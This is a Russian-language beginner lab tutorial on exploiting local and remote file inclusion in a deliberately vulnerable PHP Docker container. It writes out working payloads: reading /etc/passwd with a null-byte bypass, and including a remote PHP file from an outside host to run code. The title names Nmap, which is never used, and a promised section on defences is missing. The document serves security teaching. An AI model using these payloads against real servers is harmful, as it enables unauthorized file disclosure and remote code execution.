Эксплуатация уязвимостей File Inclusion с помощью Nmap

Beginner

Введение

В этом лабораторном занятии (lab) вы научитесь эксплуатировать уязвимости, связанные с включением файлов, как локально, так и удаленно. Уязвимости, связанные с включением файлов, возникают, когда пользовательский ввод не корректно очищается и используется для включения файлов на сервере. Это может привести к раскрытию конфиденциальных данных, выполнению удаленного кода и другим серьезным последствиям. Познакомившись с техниками и полезными нагрузками (payloads), используемыми в этом лабораторном занятии, вы получите практический опыт в выявлении и эксплоитации таких уязвимостей.

Настройка окружения

В этой фазе мы создадим лабораторную среду (lab environment), чтобы отточить свои навыки эксплоитации уязвимостей, связанных с включением файлов.

Сначала выполните следующую команду, чтобы запустить уязвимое веб - приложение:

docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com

Эта команда запускает Docker - контейнер с уязвимым веб - приложением, работающим на порту 81.

Затем запустите веб - браузер и перейдите по адресу http://127.0.0.1:81. Вы должны увидеть главную страницу веб - приложения.

Определение уязвимости включения файлов

В этой фазе мы будем искать возможные уязвимости, связанные с включением файлов, путем анализа параметров URL.

На главной странице веб - приложения нажмите кнопки "Submit" и "Login". Обратите внимание на URL в адресной строке браузера. Вы должны заметить, что URL изменяется в соответствии с параметром page, например, http://127.0.0.1:81/index.php?page=submit и http://127.0.0.1:81/index.php?page=login.

Эта схема указывает на то, что веб - приложение может обрабатывать пользовательский ввод небезопасно, что потенциально может привести к уязвимости, связанной с включением файлов.

Подтверждение уязвимости

В этой фазе мы рассмотрим, как обнаружить уязвимость, связанную с включением файлов. Существует два распространенных метода:

  1. Метод массивного параметра: Измените параметр page на массив. Например, http://localhost:81/index.php?page[]=test. Если вы увидите предупреждение или сообщение об ошибке, в котором упоминается "include" или "failed to open stream", это означает возможную уязвимость, так как приложение пытается включить файлы на основе пользовательского ввода.

  2. Тест на локальное включение файла: Попытайтесь включить локальный файл, находящийся на сервере, например, /etc/passwd в Linux или C:\Windows\System32\drivers\etc\hosts в Windows. Если будет отображено содержимое файла, это подтверждает уязвимость, связанную с локальным включением файлов.

В этом уроке мы используем второй метод, включая файл /etc/passwd:

http://localhost:81/index.php?page=/etc/passwd

Вероятно, вы увидите сообщение об ошибке, которое указывает, что приложение пытается включить /etc/passwd.php вместо /etc/passwd. Это происходит потому, что приложение автоматически добавляет .php к включаемому файлу.

Чтобы обойти это, мы можем использовать технику нулевого байта (%00). Нулевой байт завершает строку, заставляя приложение игнорировать все, что следует за ним.

Попробуйте следующую полезную нагрузку (payload):

http://localhost:81/index.php?page=/etc/passwd%00

Если вы можете увидеть содержимое файла /etc/passwd, это подтверждает наличие уязвимости, связанной с локальным включением файлов.

Использование удаленного включения файлов

В этой фазе мы рассмотрим концепцию удаленного включения файлов и связанные с ней потенциальные уязвимости.

Удаленное включение файлов представляет собой серьезную проблему, которая потенциально может позволить атакующему включать файлы с внешних серверов. Это может привести к серьезным нарушениям безопасности, таким как выполнение удаленного кода или раскрытие конфиденциальных данных.

Начнем с примера, в котором мы попытаемся включить удаленный файл, размещенный на внешнем сервере:

http://localhost:81/index.php?page=https://www.example.com/index.html%00

После выполнения этого запроса вы должны увидеть содержимое удаленного файла в ответе веб - приложения.

В реальной жизни атакующий обычно размещает свою вредоносную полезную нагрузку (payload) на сервере, под его контролем, и затем пытается включить ее, используя уязвимость удаленного включения файлов.

В рамках этой демонстрации мы будем использовать заранее размещенную полезную нагрузку с сайта PentesterLab:

http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00

Эта полезная нагрузка запускает функцию phpinfo(), которая раскрывает информацию о конфигурации PHP сервера.

Помните, что это всего лишь демонстрация потенциальной уязвимости. При создании собственных приложений крайне важно применять соответствующие меры безопасности, чтобы предотвратить такие атаки. В следующем разделе мы поговорим о некоторых из этих мер безопасности.

Резюме

В этой лабораторной работе (lab) вы научились определять и эксплоитировать уязвимости, связанные с включением файлов, как локально, так и удаленно. Вы настроили уязвимое веб - приложение, проанализировали параметры URL для определения потенциальных уязвимостей, подтвердили наличие уязвимостей, связанных с включением файлов, с использованием различных методов, и, наконец, эксплоитировали как локальные, так и удаленные уязвимости, связанные с включением файлов. Понимание этих уязвимостей и методов их эксплоитации является важным аспектом тестирования безопасности веб - приложений и обеспечения защиты конфиденциальных данных и систем.